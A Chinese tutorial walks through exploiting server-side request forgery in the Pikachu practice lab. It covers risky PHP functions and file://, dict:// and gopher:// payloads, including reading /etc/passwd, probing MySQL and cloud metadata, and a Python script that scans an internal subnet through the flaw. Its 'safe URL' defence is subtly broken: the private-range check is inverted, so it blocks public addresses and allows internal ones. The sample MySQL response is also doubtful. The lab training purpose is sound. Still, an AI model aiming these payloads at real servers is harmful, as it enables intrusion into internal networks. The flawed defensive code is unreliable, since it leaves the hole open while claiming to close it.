当前位置：首页 > news >正文

实战Pikachu靶场：SSRF漏洞利用与防御全攻略（附常见函数解析）

news 2026/5/12 17:32:17

实战Pikachu靶场：SSRF漏洞利用与防御全攻略（附常见函数解析）

在网络安全领域，服务器端请求伪造（SSRF）漏洞因其能够穿透内网边界、攻击内部系统而备受关注。本文将带您深入Pikachu靶场，通过实战演练揭示SSRF漏洞的运作机制，同时提供可立即落地的防御方案。

1. SSRF漏洞核心原理与高危函数解析

SSRF漏洞的本质在于服务器未经充分验证就执行了来自外部的请求指令。这种漏洞之所以危险，是因为攻击者可以利用服务器作为跳板，访问原本受防火墙保护的内部系统资源。

1.1 高危PHP函数深度剖析

curl_exec函数是SSRF漏洞最常见的"帮凶"之一。这个函数允许服务器执行任意的URL请求，支持包括HTTP、HTTPS、FTP、FILE等多种协议。在Pikachu靶场的ssrf_curl.php文件中，我们可以看到典型的漏洞实现：

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_HEADER, false); curl_exec($ch); curl_close($ch);

另一个高危函数file_get_contents同样值得警惕。这个看似无害的文件读取函数，当参数可控时就会变成安全噩梦：

$file = $_GET['file']; echo file_get_contents($file);

高危函数清单：

curl_exec()：支持多种协议的网络请求
file_get_contents()：可读取远程或本地文件
fsockopen()：建立网络套接字连接
fopen()/readfile()：文件操作函数

1.2 协议利用的多种可能性

不同协议在SSRF攻击中扮演着不同角色：

协议类型	利用场景	潜在危害
file://	读取本地文件	敏感信息泄露
dict://	端口扫描	服务发现
gopher://	发送自定义请求	协议走私攻击
http/https	常规请求	外网资源访问

提示：在实际渗透测试中，dict协议常被用来探测内网Redis等服务，而file协议则可能泄露服务器配置文件。

2. Pikachu靶场实战：从漏洞复现到内网渗透

2.1 基础漏洞验证流程

在配置好的Pikachu环境中，我们可以通过以下步骤验证SSRF漏洞：

访问SSRF(curl)测试页面
在URL参数中添加?url=file:///etc/passwd
观察服务器是否返回系统密码文件内容
尝试使用dict协议扫描端口：?url=dict://127.0.0.1:3306

如果操作成功，您将看到类似这样的响应：

220 mysql_native_password

这表明MySQL服务正在运行，且服务器存在SSRF漏洞。

2.2 高级利用技巧

除了基础的文件读取和端口扫描，SSRF还可以用于更复杂的攻击场景：

内网服务探测：通过批量扫描192.168.x.x地址段，绘制内网拓扑
云元数据访问：针对云服务器尝试访问169.254.169.254元数据接口
协议走私攻击：利用gopher协议发送精心构造的Redis命令

以下是一个简单的内网扫描脚本示例：

import requests base_url = "http://target.com/vuln.php?url=" ports = [80, 443, 3306, 6379] for i in range(1, 255): ip = f"192.168.1.{i}" for port in ports: url = base_url + f"dict://{ip}:{port}" response = requests.get(url) if "220" in response.text: print(f"Found open port {port} on {ip}")

3. 企业级防御方案设计与实现

3.1 输入验证与过滤

有效的防御始于严格的输入验证。以下是一个增强版的URL检查函数：

function isSafeUrl($url) { $parsed = parse_url($url); // 禁止非HTTP/HTTPS协议 if (!in_array($parsed['scheme'], ['http', 'https'])) { return false; } // 禁止内网IP段 $ip = gethostbyname($parsed['host']); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) { return false; } // 只允许特定端口 if (isset($parsed['port']) && !in_array($parsed['port'], [80, 443])) { return false; } return true; }